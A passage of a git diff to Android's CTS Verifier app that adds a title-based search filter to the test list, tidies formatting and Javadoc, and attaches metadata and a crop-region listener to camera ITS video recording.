-import static com.android.cts.verifier.TestListActivity.sInitialLaunch;
import android.annotation.SuppressLint;
import android.content.Context;
@@ -47,84 +46,76 @@ import java.util.Comparator;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
+import java.util.Locale;
import java.util.Map;
import java.util.stream.Collectors;
/**
- * {@link TestListAdapter} that populates the {@link TestListActivity}'s {@link ListView} by
- * reading data from the CTS Verifier's AndroidManifest.xml.
- * <p>
- * Making a new test activity to appear in the list requires the following steps:
+ * {@link TestListAdapter} that populates the {@link TestListActivity}'s {@link ListView} by reading
+ * data from the CTS Verifier's AndroidManifest.xml.
+ *
+ * <p>Making a new test activity to appear in the list requires the following steps:
*
* <ol>
- * <li>REQUIRED: Add an activity to the AndroidManifest.xml with an intent filter with a
- * main action and the MANUAL_TEST category.
- * <pre>
+ * <li>REQUIRED: Add an activity to the AndroidManifest.xml with an intent filter with a main
+ * action and the MANUAL_TEST category.
+ * <pre>
* <intent-filter>
* <action android:name="android.intent.action.MAIN" />
* <category android:name="android.cts.intent.category.MANUAL_TEST" />
* </intent-filter>
* </pre>
- * </li>
- * <li>REQUIRED: Add a meta data attribute to indicate which display modes of tests the activity
- * should belong to. "single_display_mode" indicates a test is only needed to run on the
- * main display mode (i.e. unfolded), and "multi_display_mode" indicates a test is required
- * to run under both modes (i.e. both folded and unfolded).If you don't add this attribute,
- * your test will show up in both unfolded and folded modes.
- * <pre>
+ * <li>REQUIRED: Add a meta data attribute to indicate which display modes of tests the activity
+ * should belong to. "single_display_mode" indicates a test is only needed to run on the main
+ * display mode (i.e. unfolded), and "multi_display_mode" indicates a test is required to run
+ * under both modes (i.e. both folded and unfolded).If you don't add this attribute, your test
+ * will show up in both unfolded and folded modes.
+ * <pre>
* <meta-data android:name="display_mode" android:value="multi_display_mode" />
* </pre>
- * </li>
- * <li>OPTIONAL: Add a meta data attribute to indicate what category of tests the activity
- * should belong to. If you don't add this attribute, your test will show up in the
- * "Other" tests category.
- * <pre>
+ * <li>OPTIONAL: Add a meta data attribute to indicate what category of tests the activity should
+ * belong to. If you don't add this attribute, your test will show up in the "Other" tests
+ * category.
+ * <pre>
* <meta-data android:name="test_category" android:value="@string/test_category_security" />
* </pre>
- * </li>
- * <li>OPTIONAL: Add a meta data attribute to indicate whether this test has a parent test.
- * <pre>
+ * <li>OPTIONAL: Add a meta data attribute to indicate whether this test has a parent test.
+ * <pre>
* <meta-data android:name="test_parent" android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
* </pre>
- * </li>
- * <li>OPTIONAL: Add a meta data attribute to indicate what features are required to run the
- * test. If the device does not have all of the required features then it will not appear
- * in the test list. Use a colon (:) to specify multiple required features.
- * <pre>
+ * <li>OPTIONAL: Add a meta data attribute to indicate what features are required to run the test.
+ * If the device does not have all of the required features then it will not appear in the
+ * test list. Use a colon (:) to specify multiple required features.
+ * <pre>
* <meta-data android:name="test_required_features" android:value="android.hardware.sensor.accelerometer" />
* </pre>
- * </li>
- * <li>OPTIONAL: Add a meta data attribute to indicate features such that, if any present, the
- * test gets excluded from being shown. If the device has any of the excluded features then
- * the test will not appear in the test list. Use a colon (:) to specify multiple features
- * to exclude for the test. Note that the colon means "or" in this case.
- * <pre>
+ * <li>OPTIONAL: Add a meta data attribute to indicate features such that, if any present, the
+ * test gets excluded from being shown. If the device has any of the excluded features then
+ * the test will not appear in the test list. Use a colon (:) to specify multiple features to
+ * exclude for the test. Note that the colon means "or" in this case.
+ * <pre>
* <meta-data android:name="test_excluded_features" android:value="android.hardware.type.television" />
* </pre>
- * </li>
- * <li>OPTIONAL: Add a meta data attribute to indicate features such that, if any present,
- * the test is applicable to run. If the device has any of the applicable features then
- * the test will appear in the test list. Use a colon (:) to specify multiple features
- * <pre>
+ * <li>OPTIONAL: Add a meta data attribute to indicate features such that, if any present, the
+ * test is applicable to run. If the device has any of the applicable features then the test
+ * will appear in the test list. Use a colon (:) to specify multiple features
+ * <pre>
* <meta-data android:name="test_applicable_features" android:value="android.hardware.sensor.compass" />
* </pre>
- * </li>
- * <li>OPTIONAL: Add a meta data attribute to indicate which intent actions are required to run
- * the test. If the device does not have activities that handle all those actions, then it
- * will not appear in the test list. Use a colon (:) to specify multiple required intent actions.
- * <pre>
+ * <li>OPTIONAL: Add a meta data attribute to indicate which intent actions are required to run
+ * the test. If the device does not have activities that handle all those actions, then it
+ * will not appear in the test list. Use a colon (:) to specify multiple required intent
+ * actions.
+ * <pre>
* <meta-data android:name="test_required_actions" android:value="android.app.action.ADD_DEVICE_ADMIN" />
* </pre>
- * </li>
- * <li>OPTIONAL: Add a meta data attribute to indicate which intent actions should not run when
- * the user running the test is of the given "type" (notice that the type here is not
- * necessarily the same as {@link UserManager#getUserType()}).
- * Use a colon (:) to specify multiple user types.
- * <pre>
+ * <li>OPTIONAL: Add a meta data attribute to indicate which intent actions should not run when
+ * the user running the test is of the given "type" (notice that the type here is not
+ * necessarily the same as {@link UserManager#getUserType()}). Use a colon (:) to specify
+ * multiple user types.
+ * <pre>
* <meta-data android:name="test_excluded_user_types" android:value="visible_background_non-profile_user" />
* </pre>
- * </li>
- *
* </ol>
*/
public class ManifestTestListAdapter extends TestListAdapter {
@@ -166,19 +157,25 @@ public class ManifestTestListAdapter extends TestListAdapter {
private static final String CONFIG_HAS_CAMERA_TOGGLE = "config_has_camera_toggle";
- /** The config to represent that a test is only needed to run in the main display mode
- * (i.e. unfolded) */
+ /**
+ * The config to represent that a test is only needed to run in the main display mode (i.e.
+ * unfolded).
+ */
private static final String SINGLE_DISPLAY_MODE = "single_display_mode";
- /** The config to represent that a test is needed to run in the multiple display modes
- * (i.e. both unfolded and folded) */
+ /**
+ * The config to represent that a test is needed to run in the multiple display modes (i.e. both
+ * unfolded and folded).
+ */
private static final String MULTIPLE_DISPLAY_MODE = "multi_display_mode";
/** The config to represent that a test is only needed to run in the folded display mode. */
private static final String FOLDED_DISPLAY_MODE = "folded_display_mode";
- /** The config to represent that a test is marked as pass when it passes either in folded mode
- * or in unfolded mode. */
+ /**
+ * The config to represent that a test is marked as pass when it passes either in folded mode or
+ * in unfolded mode.
+ */
private static final String EITHER_MODE = "either_mode";
/**
@@ -193,6 +190,10 @@ public class ManifestTestListAdapter extends TestListAdapter {
private String mTestParent;
+ public ManifestTestListAdapter(Context context, String testParent) {
+ this(context, testParent, context.getResources().getStringArray(R.array.disabled_tests));
+ }
+
public ManifestTestListAdapter(Context context, String testParent, String[] disabledTestArray) {
super(context);
mContext = context;
@@ -203,42 +204,39 @@ public class ManifestTestListAdapter extends TestListAdapter {
}
}
- public ManifestTestListAdapter(Context context, String testParent) {
- this(context, testParent, context.getResources().getStringArray(R.array.disabled_tests));
- }
-
@Override
protected List<TestListItem> getRows() {
- List<TestListItem> allRows = new ArrayList<TestListItem>();
-
// When launching at the first time or after killing the process, needs to fetch the
// test items of all display modes as the bases for switching.
if (mDisplayModesTests.isEmpty()) {
for (DisplayMode mode : DisplayMode.values()) {
- allRows = getRowsWithDisplayMode(mode.toString());
- mDisplayModesTests.put(mode.toString(), allRows);
+ mDisplayModesTests.put(mode.toString(), getRowsWithDisplayMode(mode.toString()));
PackageManager packageManager = mContext.getPackageManager();
- boolean isCustomLauncher = packageManager.hasSystemFeature("com.google.android.tv.custom_launcher");
+ boolean isCustomLauncher =
+ packageManager.hasSystemFeature("com.google.android.tv.custom_launcher");
if (isCustomLauncher) {
mDisabledTests.add(
- "com.android.cts.verifier.net.ConnectivityBackgroundTestActivity");
+ "com.android.cts.verifier.net.ConnectivityBackgroundTestActivity");
}
}
}
- if (!sInitialLaunch) {
- return getRowsWithDisplayMode(sCurrentDisplayMode);
+ if (mTestFilter != null) {
+ // Filter test rows dynamically when the filter is specified.
+ return getRowsWithDisplayMode(sCurrentDisplayMode.toString());
+ } else {
+ return mDisplayModesTests.getOrDefault(
+ sCurrentDisplayMode.toString(), new ArrayList<>());
}
- return allRows;
}
/**
* Gets all rows based on the specific display mode.
*
- * @param mode Given display mode.
- * @return A list containing all test itmes in the given display mode.
+ * @param mode the given display mode
+ * @return a list containing all test itmes in the given display mode
*/
- private List<TestListItem> getRowsWithDisplayMode (String mode) {
+ private List<TestListItem> getRowsWithDisplayMode(String mode) {
/*
* 1. Get all the tests belonging to the test parent.
* 2. Get all the tests keyed by their category.
@@ -267,8 +265,9 @@ public class ManifestTestListAdapter extends TestListAdapter {
mainIntent.setPackage(mContext.getPackageName());
PackageManager packageManager = mContext.getPackageManager();
- List<ResolveInfo> list = packageManager.queryIntentActivities(mainIntent,
- PackageManager.GET_ACTIVITIES | PackageManager.GET_META_DATA);
+ List<ResolveInfo> list =
+ packageManager.queryIntentActivities(
+ mainIntent, PackageManager.GET_ACTIVITIES | PackageManager.GET_META_DATA);
int size = list.size();
List<ResolveInfo> matchingList = new ArrayList<>();
@@ -305,9 +304,19 @@ public class ManifestTestListAdapter extends TestListAdapter {
String displayMode = getDisplayMode(info.activityInfo.metaData);
boolean passInEitherMode = getTestPassMode(info.activityInfo.metaData, displayMode);
- TestListItem item = TestListItem.newTest(title, testName, intent, requiredFeatures,
- requiredConfigs, requiredActions, excludedFeatures, applicableFeatures,
- excludedUserTypes, displayMode, passInEitherMode);
+ TestListItem item =
+ TestListItem.newTest(
+ title,
+ testName,
+ intent,
+ requiredFeatures,
+ requiredConfigs,
+ requiredActions,
+ excludedFeatures,
+ applicableFeatures,
+ excludedUserTypes,
+ displayMode,
+ passInEitherMode);
String testCategory = getTestCategory(mContext, info.activityInfo.metaData);
addTestToCategory(testsByCategory, testCategory, item);
@@ -372,8 +381,8 @@ public class ManifestTestListAdapter extends TestListAdapter {
/**
* Gets the configuration of the display mode per test. The default value is multi_display_mode.
*
- * @param metaData Given metadata of the display mode.
- * @return A string representing the display mode of the test.
+ * @param metaData the given metadata of the display mode
+ * @return a string representing the display mode of the test
*/
static String getDisplayMode(Bundle metaData) {
if (metaData == null) {
@@ -386,9 +395,9 @@ public class ManifestTestListAdapter extends TestListAdapter {
/**
* Gets the configuration of the test pass mode per test.
*
- * @param metaData Given metadata of the test pass mode.
- * @return A boolean representing whether the test can be marked as pass when it passes either
- * in the folded mode or in the unfolded mode.
+ * @param metaData the given metadata of the test pass mode
+ * @return a boolean representing whether the test can be marked as pass when it passes either
+ * in the folded mode or in the unfolded mode
*/
static boolean getTestPassMode(Bundle metaData, String displayMode) {
if (metaData == null || !displayMode.equals(MULTIPLE_DISPLAY_MODE)) {
@@ -412,8 +421,10 @@ public class ManifestTestListAdapter extends TestListAdapter {
return intent;
}
- static void addTestToCategory(Map<String, List<TestListItem>> testsByCategory,
- String testCategory, TestListItem item) {
+ static void addTestToCategory(
+ Map<String, List<TestListItem>> testsByCategory,
+ String testCategory,
+ TestListItem item) {
List<TestListItem> tests;
if (testsByCategory.containsKey(testCategory)) {
tests = testsByCategory.get(testCategory);
@@ -470,11 +481,12 @@ public class ManifestTestListAdapter extends TestListAdapter {
switch (config) {
case CONFIG_NO_EMULATOR:
try {
- Method getStringMethod = ClassLoader.getSystemClassLoader()
- .loadClass("android.os.SystemProperties")
- .getMethod("get", String.class);
- String emulatorKernel = (String) getStringMethod.invoke("0",
- "ro.boot.qemu");
+ Method getStringMethod =
+ ClassLoader.getSystemClassLoader()
+ .loadClass("android.os.SystemProperties")
+ .getMethod("get", String.class);
+ String emulatorKernel =
+ (String) getStringMethod.invoke("0", "ro.boot.qemu");
if (emulatorKernel.equals("1")) {
return false;
}
@@ -483,8 +495,8 @@ public class ManifestTestListAdapter extends TestListAdapter {
}
break;
case CONFIG_VOICE_CAPABLE:
- TelephonyManager telephonyManager = context.getSystemService(
- TelephonyManager.class);
+ TelephonyManager telephonyManager =
+ context.getSystemService(TelephonyManager.class);
if (!telephonyManager.isVoiceCapable()) {
return false;
}
@@ -518,9 +530,11 @@ public class ManifestTestListAdapter extends TestListAdapter {
}
break;
case CONFIG_HAS_MIC_TOGGLE:
- return isHardwareToggleSupported(context, SensorPrivacyManager.Sensors.MICROPHONE);
+ return isHardwareToggleSupported(
+ context, SensorPrivacyManager.Sensors.MICROPHONE);
case CONFIG_HAS_CAMERA_TOGGLE:
- return isHardwareToggleSupported(context, SensorPrivacyManager.Sensors.CAMERA);
+ return isHardwareToggleSupported(
+ context, SensorPrivacyManager.Sensors.CAMERA);
default:
break;
}
@@ -530,11 +544,11 @@ public class ManifestTestListAdapter extends TestListAdapter {
}
/**
- * Check if the test should be ran by the given display mode.
+ * Checks if the test should be ran by the given display mode.
*
- * @param mode Configs of the display mode.
- * @param currentMode Given display mode.
- * @return True if the given display mode matches the configs, otherwise, return false;
+ * @param mode the display mode config of the test
+ * @param currentMode the given display mode
+ * @return true if the given display mode matches the configs, otherwise, return false
*/
private boolean matchDisplayMode(String mode, String currentMode) {
if (mode == null) {
@@ -552,9 +566,7 @@ public class ManifestTestListAdapter extends TestListAdapter {
}
}
- /**
- * Checks whether the test is being run by a user type that doesn't support it.
- */
+ /** Checks whether the test is being run by a user type that doesn't support it. */
private boolean matchAnyExcludedUserType(String[] userTypes) {
if (userTypes == null) {
return false;
@@ -569,14 +581,28 @@ public class ManifestTestListAdapter extends TestListAdapter {
}
return false;
default:
- throw new IllegalArgumentException("Invalid "
- + TEST_EXCLUDED_USER_TYPES_META_DATA + " value: " + userType);
+ throw new IllegalArgumentException(
+ "Invalid "
+ + TEST_EXCLUDED_USER_TYPES_META_DATA
+ + " value: "
+ + userType);
}
}
return false;
}
+ /** Checks whether the title of the test matches the test filter. */
+ private boolean macthTestFilter(String testTitle) {
+ if (mTestFilter == null) {
+ return true;
+ }
+ return testTitle != null
+ && testTitle
+ .toLowerCase(Locale.getDefault())
+ .contains(mTestFilter.toLowerCase(Locale.getDefault()));
+ }
+
private boolean isVisibleBackgroundNonProfileUser() {
if (!SdkLevel.isAtLeastU()) {
Log.d(LOG_TAG, "isVisibleBagroundNonProfileUser() returning false on pre-UDC device");
@@ -598,7 +624,9 @@ public class ManifestTestListAdapter extends TestListAdapter {
}
private static List<Integer> getHdmiDeviceType()
- throws InvocationTargetException, IllegalAccessException, ClassNotFoundException,
+ throws InvocationTargetException,
+ IllegalAccessException,
+ ClassNotFoundException,
NoSuchMethodException {
Method getStringMethod =
ClassLoader.getSystemClassLoader()
@@ -614,19 +642,21 @@ public class ManifestTestListAdapter extends TestListAdapter {
}
private static boolean hasBattery(Context context) {
- final Intent batteryInfo = context.registerReceiver(
- null, new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
+ final Intent batteryInfo =
+ context.registerReceiver(null, new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
return batteryInfo.getBooleanExtra(BatteryManager.EXTRA_PRESENT, true);
}
List<TestListItem> filterTests(List<TestListItem> tests, String mode) {
List<TestListItem> filteredTests = new ArrayList<>();
for (TestListItem test : tests) {
- if (!hasAnyFeature(test.excludedFeatures) && hasAllFeatures(test.requiredFeatures)
+ if (!hasAnyFeature(test.excludedFeatures)
+ && hasAllFeatures(test.requiredFeatures)
&& hasAllActions(test.requiredActions)
&& matchAllConfigs(mContext, test.requiredConfigs)
&& matchDisplayMode(test.displayMode, mode)
- && !matchAnyExcludedUserType(test.excludedUserTypes)) {
+ && !matchAnyExcludedUserType(test.excludedUserTypes)
+ && macthTestFilter(test.title)) {
if (test.applicableFeatures == null || hasAnyFeature(test.applicableFeatures)) {
// Add suffix in test name if the test is in the folded mode.
test.testName = setTestNameSuffix(mode, test.testName);
@@ -641,39 +671,15 @@ public class ManifestTestListAdapter extends TestListAdapter {
return filteredTests;
}
- @Override
- public int getCount() {
- if (!sInitialLaunch && mTestParent == null) {
- return mDisplayModesTests.getOrDefault(sCurrentDisplayMode, new ArrayList<>()).size();
- }
- return super.getCount();
- }
-
- @Override
- public TestListItem getItem(int position) {
- if (mTestParent == null) {
- return mDisplayModesTests.get(sCurrentDisplayMode).get(position);
- }
- return super.getItem(position);
- }
-
- @Override
- public void loadTestResults() {
- if (mTestParent == null) {
- new RefreshTestResultsTask(true).execute();
- } else {
- super.loadTestResults();
- }
- }
-
@SuppressLint("NewApi")
private static boolean isHardwareToggleSupported(Context context, final int sensorType) {
boolean isToggleSupported = false;
- SensorPrivacyManager sensorPrivacyManager = context.getSystemService(
- SensorPrivacyManager.class);
+ SensorPrivacyManager sensorPrivacyManager =
+ context.getSystemService(SensorPrivacyManager.class);
if (sensorPrivacyManager != null) {
- isToggleSupported = sensorPrivacyManager.supportsSensorToggle(
- SensorPrivacyManager.TOGGLE_TYPE_HARDWARE, sensorType);
+ isToggleSupported =
+ sensorPrivacyManager.supportsSensorToggle(
+ SensorPrivacyManager.TOGGLE_TYPE_HARDWARE, sensorType);
}
return isToggleSupported;
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java
index 38fba3f138c..790bf73e956 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java
@@ -37,6 +37,7 @@ import android.view.MenuItem;
import android.view.View;
import android.view.Window;
import android.widget.CompoundButton;
+import android.widget.SearchView;
import android.widget.Switch;
import android.widget.Toast;
@@ -53,8 +54,6 @@ public class TestListActivity extends AbstractTestListActivity implements View.O
// Records the current display mode.
// Default is unfolded mode, and it will be changed when clicking the switch button.
public static volatile String sCurrentDisplayMode = DisplayMode.UNFOLDED.toString();
- // Flag of launch app to fetch the unfolded/folded tests in main view from AndroidManifest.xml.
- protected static boolean sInitialLaunch;
private String[] mRequestedPermissions;
@@ -69,10 +68,10 @@ public class TestListActivity extends AbstractTestListActivity implements View.O
}
/**
- * Coverts the mode as suffix with brackets for test name.
+ * Converts the mode as suffix with brackets for test name.
*
- * @return A string containing mode with brackets for folded mode; empty string for unfolded
- * mode.
+ * @return a string containing mode with brackets for folded mode; empty string for unfolded
+ * mode
*/
public String asSuffix() {
if (name().equals(FOLDED.name())) {
@@ -129,7 +128,6 @@ public class TestListActivity extends AbstractTestListActivity implements View.O
if (!isTaskRoot()) {
finish();
}
- sInitialLaunch = true;
// Restores the last display mode when launching the app after killing the process.
if (getCurrentDisplayMode().equals(DisplayMode.FOLDED.toString())) {
@@ -147,7 +145,8 @@ public class TestListActivity extends AbstractTestListActivity implements View.O
getListView().addFooterView(footer);
}
- setTestListAdapter(new ManifestTestListAdapter(this, null));
+ setTestListAdapter(
+ new ManifestTestListAdapter(/* context= */ this, /* testParent= */ null));
}
@Override
@@ -221,6 +220,28 @@ public class TestListActivity extends AbstractTestListActivity implements View.O
handleSwitchItemSelected();
}
});
+
+ SearchView searchView = (SearchView) menu.findItem(R.id.search_test).getActionView();
+ searchView.setOnQueryTextListener(
+ new SearchView.OnQueryTextListener() {
+
+ public boolean onQueryTextSubmit(String query) {
+ Log.i(TAG, "Got submitted query: " + query);
+ handleQueryUpdated(query);
+ return true;
+ }
+
+ public boolean onQueryTextChange(String newText) {
+ if (newText == null || newText.isEmpty()) {
+ Log.i(TAG, "Clear filter");
+ handleQueryUpdated(newText);
+ return true;
+ } else {
+ return false;
+ }
+ }
+ });
+
return true;
}
@@ -252,7 +273,7 @@ public class TestListActivity extends AbstractTestListActivity implements View.O
new ReportExporter(this, mAdapter).execute();
}
- // Sets up the flags after switching display mode and reloads tests on UI.
+ /** Sets up the flags after switching display mode and reloads tests on UI. */
private void handleSwitchItemSelected() {
setCurrentDisplayMode(sCurrentDisplayMode);
mAdapter.loadTestResults();
@@ -270,10 +291,21 @@ public class TestListActivity extends AbstractTestListActivity implements View.O
return true;
}
+ /** Triggered when a new query is input. */
+ private void handleQueryUpdated(String query) {
+ if (query != null && !query.isEmpty()) {
+ mAdapter.setTestFilter(query);
+ } else {
+ // Reset the filter as null to show all tests.
+ mAdapter.setTestFilter(/* testFilter= */ null);
+ }
+ mAdapter.loadTestResults();
+ }
+
/**
* Sets current display mode to sharedpreferences.
*
- * @param mode A string of current display mode.
+ * @param mode a string of current display mode
*/
private void setCurrentDisplayMode(String mode) {
SharedPreferences pref = getSharedPreferences(DisplayMode.class.getName(), MODE_PRIVATE);
@@ -283,7 +315,7 @@ public class TestListActivity extends AbstractTestListActivity implements View.O
/**
* Gets current display mode from sharedpreferences.
*
- * @return A string of current display mode.
+ * @return a string of current display mode
*/
private String getCurrentDisplayMode() {
String mode =
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
index d4007f9edea..870736f7b1a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
@@ -18,7 +18,6 @@ package com.android.cts.verifier;
import static com.android.cts.verifier.ReportExporter.LOGS_DIRECTORY;
import static com.android.cts.verifier.TestListActivity.sCurrentDisplayMode;
-import static com.android.cts.verifier.TestListActivity.sInitialLaunch;
import android.content.ContentResolver;
import android.content.Context;
@@ -103,6 +102,9 @@ public abstract class TestListAdapter extends BaseAdapter {
*/
protected Map<String, List<TestListItem>> mDisplayModesTests = new HashMap<>();
+ /** A keyword to help filter out test cases by the test name. */
+ protected String mTestFilter;
+
/** {@link ListView} row that is either a test category header or a test. */
public static class TestListItem {
@@ -399,10 +401,7 @@ public abstract class TestListAdapter extends BaseAdapter {
String displayMode,
boolean passInEitherMode) {
this.title = title;
- if (!sInitialLaunch) {
- testName = setTestNameSuffix(sCurrentDisplayMode, testName);
- }
- this.testName = testName;
+ this.testName = setTestNameSuffix(sCurrentDisplayMode, testName);
this.intent = intent;
this.requiredActions = requiredActions;
this.requiredFeatures = requiredFeatures;
@@ -431,7 +430,7 @@ public abstract class TestListAdapter extends BaseAdapter {
}
public void loadTestResults() {
- new RefreshTestResultsTask(false).execute();
+ new RefreshTestResultsTask().execute();
}
public void clearTestResults() {
@@ -446,37 +445,24 @@ public abstract class TestListAdapter extends BaseAdapter {
histories.merge(null, mHistories.get(name));
new SetTestResultTask(
- name,
- testResult.getResult(),
- testResult.getDetails(),
- testResult.getReportLog(),
- histories,
- mScreenshotsMetadata.get(name))
+ name,
+ testResult.getResult(),
+ testResult.getDetails(),
+ testResult.getReportLog(),
+ histories,
+ mScreenshotsMetadata.get(name))
.execute();
}
- class RefreshTestResultsTask extends AsyncTask<Void, Void, RefreshResult> {
-
- private boolean mIsFromMainView;
+ void setTestFilter(String testFilter) {
+ mTestFilter = testFilter;
+ }
- RefreshTestResultsTask(boolean isFromMainView) {
- mIsFromMainView = isFromMainView;
- }
+ class RefreshTestResultsTask extends AsyncTask<Void, Void, RefreshResult> {
@Override
protected RefreshResult doInBackground(Void... params) {
- List<TestListItem> rows = getRows();
- // When initial launch, needs to fetch tests in the unfolded/folded mode
- // to be stored in mDisplayModesTests as the basis for the future switch.
- if (sInitialLaunch) {
- sInitialLaunch = false;
- }
-
- if (mIsFromMainView) {
- rows = mDisplayModesTests.get(sCurrentDisplayMode);
- }
-
- return getRefreshResults(rows);
+ return getRefreshResults(getRows());
}
@Override
@@ -526,13 +512,13 @@ public abstract class TestListAdapter extends BaseAdapter {
protected abstract List<TestListItem> getRows();
static final String[] REFRESH_PROJECTION = {
- TestResultsProvider._ID,
- TestResultsProvider.COLUMN_TEST_NAME,
- TestResultsProvider.COLUMN_TEST_RESULT,
- TestResultsProvider.COLUMN_TEST_DETAILS,
- TestResultsProvider.COLUMN_TEST_METRICS,
- TestResultsProvider.COLUMN_TEST_RESULT_HISTORY,
- TestResultsProvider.COLUMN_TEST_SCREENSHOTS_METADATA,
+ TestResultsProvider._ID,
+ TestResultsProvider.COLUMN_TEST_NAME,
+ TestResultsProvider.COLUMN_TEST_RESULT,
+ TestResultsProvider.COLUMN_TEST_DETAILS,
+ TestResultsProvider.COLUMN_TEST_METRICS,
+ TestResultsProvider.COLUMN_TEST_RESULT_HISTORY,
+ TestResultsProvider.COLUMN_TEST_SCREENSHOTS_METADATA,
};
RefreshResult getRefreshResults(List<TestListItem> items) {
@@ -639,12 +625,12 @@ public abstract class TestListAdapter extends BaseAdapter {
ContentResolver resolver = mContext.getContentResolver();
try (Cursor cursor =
- resolver.query(
- TestResultsProvider.getTestNameUri(mContext, mTestName),
- new String[] {TestResultsProvider.COLUMN_TEST_RESULT_HISTORY},
- null,
- null,
- null)) {
+ resolver.query(
+ TestResultsProvider.getTestNameUri(mContext, mTestName),
+ new String[] {TestResultsProvider.COLUMN_TEST_RESULT_HISTORY},
+ null,
+ null,
+ null)) {
if (cursor.moveToFirst()) {
do {
TestResultHistoryCollection historyCollection =
@@ -723,7 +709,7 @@ public abstract class TestListAdapter extends BaseAdapter {
/** Gets {@link TestListItem} with the given test name. */
public TestListItem getItemByName(String testName) {
- for (TestListItem item: mRows) {
+ for (TestListItem item : mRows) {
if (item != null && item.testName != null && item.testName.equals(testName)) {
return item;
}
@@ -850,10 +836,11 @@ public abstract class TestListAdapter extends BaseAdapter {
public boolean allTestsPassed() {
for (TestListItem item : mRows) {
- if (item != null && item.isTest()
+ if (item != null
+ && item.isTest()
&& (!mTestResults.containsKey(item.testName)
- || (mTestResults.get(item.testName)
- != TestResult.TEST_RESULT_PASSED))) {
+ || (mTestResults.get(item.testName)
+ != TestResult.TEST_RESULT_PASSED))) {
return false;
}
}
@@ -923,10 +910,13 @@ public abstract class TestListAdapter extends BaseAdapter {
if (deviceStateManager == null) {
return false;
}
- Set<Integer> supportedStates = Arrays.stream(
- deviceStateManager.getSupportedStates()).boxed().collect(Collectors.toSet());
- int identifier = mContext.getResources().getIdentifier(
- "config_foldedDeviceStates", "array", "android");
+ Set<Integer> supportedStates =
+ Arrays.stream(deviceStateManager.getSupportedStates())
+ .boxed()
+ .collect(Collectors.toSet());
+ int identifier =
+ mContext.getResources()
+ .getIdentifier("config_foldedDeviceStates", "array", "android");
int[] foldedDeviceStates = mContext.getResources().getIntArray(identifier);
return Arrays.stream(foldedDeviceStates).anyMatch(supportedStates::contains);
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index 0d0d423baa7..c5aeffb7846 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -231,6 +231,7 @@ public class ItsService extends Service implements SensorEventListener {
private SparseArray<String> mPhysicalStreamMap = new SparseArray<String>();
private SparseArray<Long> mStreamUseCaseMap = new SparseArray<Long>();
private ImageReader mInputImageReader = null;
+ private ImageReader mExtensionPreviewImageReader = null;
private CameraCharacteristics mCameraCharacteristics = null;
private CameraExtensionCharacteristics mCameraExtensionCharacteristics = null;
private HashMap<String, CameraCharacteristics> mPhysicalCameraChars =
@@ -339,6 +340,7 @@ public class ItsService extends Service implements SensorEventListener {
public int videoFrameRate; // -1 implies video framerate was not set by the test
public int fileFormat;
public double zoomRatio;
+ public Map<String, String> metadata = new HashMap<>();
public VideoRecordingObject(String recordedOutputPath,
String quality, Size videoSize, int videoFrameRate,
@@ -360,6 +362,10 @@ public class ItsService extends Service implements SensorEventListener {
public boolean isFrameRateValid() {
return videoFrameRate != INVALID_FRAME_RATE;
}
+
+ public void addMetadata(String key, String value) {
+ metadata.put(key, value);
+ }
}
// For capturing motion sensor traces.
@@ -1122,6 +1128,11 @@ public class ItsService extends Service implements SensorEventListener {
videoJson.put("videoFrameRate", obj.videoFrameRate);
}
videoJson.put("videoSize", obj.videoSize);
+ JSONObject metadata = new JSONObject();
+ for (Map.Entry<String, String> entry : obj.metadata.entrySet()) {
+ metadata.put(entry.getKey(), entry.getValue());
+ }
+ videoJson.put("metadata", metadata);
sendResponse("recordingResponse", null, videoJson, null);
} catch (org.json.JSONException e) {
throw new ItsException("JSON error: ", e);
@@ -2363,6 +2374,7 @@ public class ItsService extends Service implements SensorEventListener {
int recordingDuration, int videoStabilizationMode,
boolean hlg10Enabled, double zoomRatio, int aeTargetFpsMin, int aeTargetFpsMax)
throws ItsException {
+ ScalerCropRegionListener scalerCropRegionListener = new ScalerCropRegionListener();
final long SESSION_CLOSE_TIMEOUT_MS = 3000;
if (!hlg10Enabled) {
@@ -2436,7 +2448,7 @@ public class ItsService extends Service implements SensorEventListener {
try {
configureAndCreateCaptureSession(CameraDevice.TEMPLATE_RECORD, mRecordSurface,
videoStabilizationMode, DynamicRangeProfiles.HLG10, mockCallback,
- zoomRatio, aeTargetFpsMin, aeTargetFpsMax);
+ zoomRatio, aeTargetFpsMin, aeTargetFpsMax, scalerCropRegionListener);
} catch (CameraAccessException e) {
throw new ItsException("Access error: ", e);
}
@@ -2481,6 +2493,7 @@ public class ItsService extends Service implements SensorEventListener {
private void doBasicRecording(String cameraId, int profileId, String quality,
int recordingDuration, int videoStabilizationMode,
double zoomRatio, int aeTargetFpsMin, int aeTargetFpsMax) throws ItsException {
+ ScalerCropRegionListener scalerCropRegionListener = new ScalerCropRegionListener();
int cameraDeviceId = Integer.parseInt(cameraId);
mMediaRecorder = new MediaRecorder();
CamcorderProfile camcorderProfile = getCamcorderProfile(cameraDeviceId, profileId);
@@ -2513,7 +2526,8 @@ public class ItsService extends Service implements SensorEventListener {
try {
configureAndCreateCaptureSession(CameraDevice.TEMPLATE_RECORD, mRecordSurface,
videoStabilizationMode, DynamicRangeProfiles.STANDARD,
- /*callback =*/ null, zoomRatio, aeTargetFpsMin, aeTargetFpsMax);
+ /*callback =*/ null, zoomRatio, aeTargetFpsMin, aeTargetFpsMax,
+ scalerCropRegionListener);
} catch (android.hardware.camera2.CameraAccessException e) {
throw new ItsException("Access error: ", e);
}
